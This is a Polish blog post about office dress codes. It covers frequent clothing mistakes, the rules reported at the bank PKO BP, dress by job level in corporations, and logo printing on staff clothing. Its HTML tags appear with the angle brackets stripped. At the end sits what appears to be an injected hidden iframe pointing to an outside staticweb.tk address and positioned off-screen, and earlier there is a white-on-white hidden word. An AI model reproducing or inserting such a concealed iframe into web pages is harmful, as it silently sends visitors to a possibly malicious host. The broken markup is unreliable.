Odzieżowy savoir vivre

Biurowy dress code

21 kwietnia 2015 • Opublikowane przez

p align=”justify”Choć staropolskie przysłowie „jak cię widzą tak cię piszą” wciąż jest aktualne, to często w pracy sprawdza się bardziej niż w życiu prywatnym. To właśnie w biurach gdzie pracownik spotyka się z Klientem ma to duże znaczenie, a każde odstępstwo od normy jest traktowane jak złamanie swoistego dress code./p
p align=”JUSTIFY”strong!–more–/strong/p
p align=”justify”Czym właściwie jest strongdress code/strong i czy rzeczywiście jego rygorystyczne przestrzeganie pomaga w codziennych kontaktach biznesowych? W końcu nie szata zdobi człowieka, ale może jednak pomaga w wykreowaniu pozytywnego wizerunku firmy? Dress code to jeden z elementówstrong savoir vivre/strong. W przypadku firm i przedsiębiorstw to zbiór zasad, dzięki któremu pracownicy wiedzą w jaki sposób mają się ubrać. Wiele firm consultingowych, świadczących usługi bankowe, finansowe czy prawnicze ma swój, wypracowany przez lata odrębny dress code. Często bywa również też tak, że styl ubioru zależy od strongzajmowanego w firmie stanowiska/strong. Określony wygląd pracownika ma podkreślać jego profesjonalizm, budować pozytywny wizerunek firmy, ale często też ujednolicać ubiór wszystkich pracowników, aby żaden z nich nie wyróżniał się markowymi ubraniami. Jakie są więc najczęściej popełniane błędy dotyczące ubioru w pracy?/p

ul
lizbyt krótkie spódnice u pań,/li
lieksponowanie dekoltu,/li
lizbyt mocny makijaż,/li
liodkryte ramiona, goły brzuch,/li
lisportowa odzież i buty,/li
lisandały, klapki,/li
lirozpięty kołnierzyk koszuli u mężczyzn, gdy na szyi jest krawat./li
/ul
nbsp;

strongBanki i korporacje/strong
p style=”text-align: justify;”Instytucjami, które najbardziej zwracają uwagę na to jak powinni wyglądać i ubierać się ich pracownicy to strongbanki/strong, ale również strongfirmy prawnicze/strong, oraz duże strongkorporacje/strong. W salonach sieci komórkowych również spotkamy pracowników ubranych w charakterystyczny dla danej firmy strój. Dziennikarze Gazety Wyborczej dotarli również do strongzasad ubioru/strong w banku PKO BP. Według regulaminu, kobieta nie może mieć w ubiorze więcej niż trzech kolorów jednocześnie, kolory dopuszczalne to tzw. kolory władzy czyli strongczarny/strong, stronggrafitowy/strong czy stronggranatowy/strong. Ponadto, włosy powinny być starannie ułożone, a jeśli są dłuższe to upięte i związane. Farbowane natomiast, nie mogą mieć odrostów. Jeżeli chodzi o dress code dla mężczyzn to muszą oni pamiętać o dobrze dobranej strongmarynarce/strong i strongspodniach/strong. Kolory, które są dopuszczalne to strongciemne/strong, podobnie jak u kobiet, a w okresie letnim –  jasne lub szare. Garnitur ma być najciemniejszą częścią ubioru, krawat jaśniejszą, koszula najjaśniejszą. Przedstawicielka biura prasowego PKO BP tłumaczy, że zemasady dress code są elementem standardów jakości obsługi klientów, które zostały wprowadzone w PKO Banku Polskim już w 2007 r. /emWedług rzeczniczki, realizowane badania na temat stroju obowiązującego w banku, pracownicy oceniają bardzo dobrze i nie mają problemu z jego zastosowaniem./p
p style=”text-align: justify;”W korporacjach znane są również zwyczaje związane z ubiorem dostosowanym do określonego stanowiska. Ubiór typu emsmart casual /embędzie więc idealnym rozwiązaniem dla osób pracujących na strongniższym szczeblu/strong. Osoby decyzyjne i na stanowiskach kierowniczych powinny natomiast wyróżniać się strongnienagannym/strong, strongeleganckim wyglądem/strong. Ogólny wniosek jest więc taki, że jeżeli osoba na niższym stanowisku będzie ubierała się zbyt elegancko, będzie postrzegana jako wywyższająca się wśród innych pracowników, zwłaszcza wśród swoich przełożonych./p
strong
/strong

strongZalety dress code/strong
p style=”text-align: justify;”Jednak restrykcyjne zasady dotyczące ubioru mogą przełożyć się na sukces firmy czy korporacji. Klientowi łatwiej odszukać pracownika danego sklepu czy firmy kiedy na jego koszulce znajduje się stronglogo firmy/strong, w której pracuje. Tak jest na przykład w dużych strongsupermarketach/strong czy strongsklepach wielkopowierzchniowych/strong. Logotyp na odzieży ma także utożsamiać pracownika z marką i utkwić w pamięci Klienta, który kojarzy strój pracownika z kolorami logo danej marki. Tak jest na przykład w przypadku sieci Play czy McDonald’s. Specjalną odzież muszą mieć także pracownicy laboratoriów, aptek, ale także pracownicy fizyczni dla których odpowiedni strój to przede wszystkim kwestia bezpieczeństwa./p
p align=”LEFT”span style=”color: #222222;”span style=”font-family: ‚Times New Roman’, serif;”span style=”font-size: small;”span style=”color: #ffffff;”wnętrzach/span/span/span/span/p

a href=”http://argos.pl/blog/wp-content/uploads/2015/04/Fotolia_93974811_Subscription_Monthly_M1.jpg”img class=”wp-image-2730 size-large” src=”http://argos.pl/blog/wp-content/uploads/2015/04/Fotolia_93974811_Subscription_Monthly_M1-1024×683.jpg” alt=”fotolia, #93974811, pressmaster” width=”960″ height=”640″ //a fotolia, #93974811, pressmaster

nbsp;

strongZnakowanie odzieży/strong
p style=”text-align: justify;”Oprócz charakterystycznego dla danej firmy dress codu, coraz częściej właściciele mniejszych i większych przedsiębiorstw decydują się na strongznakowanie odzieży/strong i umieszczanie na nich stronglogotypów/strong. Często firmy są dzięki temu postrzegane jako strongprofesjonalne/strong i dbające o każdy szczegół. Logotypy na ubraniach pracowników skutecznie promują firmę, utrwalając się w świadomości odbiorców. W przypadku dużych korporacji, w których bezpośredni kontakt z Klientem jest sprawą kluczową, znakowanie odzieży, umieszczanie na nich plakietek z imieniem osoby powoduje, że firma postrzegana jest jako bardziej przyjazna odbiorcy. Znakowanie odzieży dotyczyć może nie tylko odzieży wierzchniej czyli koszul, bluz czy kurtek, ale również strongczapek/strong, strongapaszek /strongi strongszalików/strong. Należy również pamiętać o dostosowaniu rodzaju druku do rodzaju ubrania, na którym logo ma być umieszczone.!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe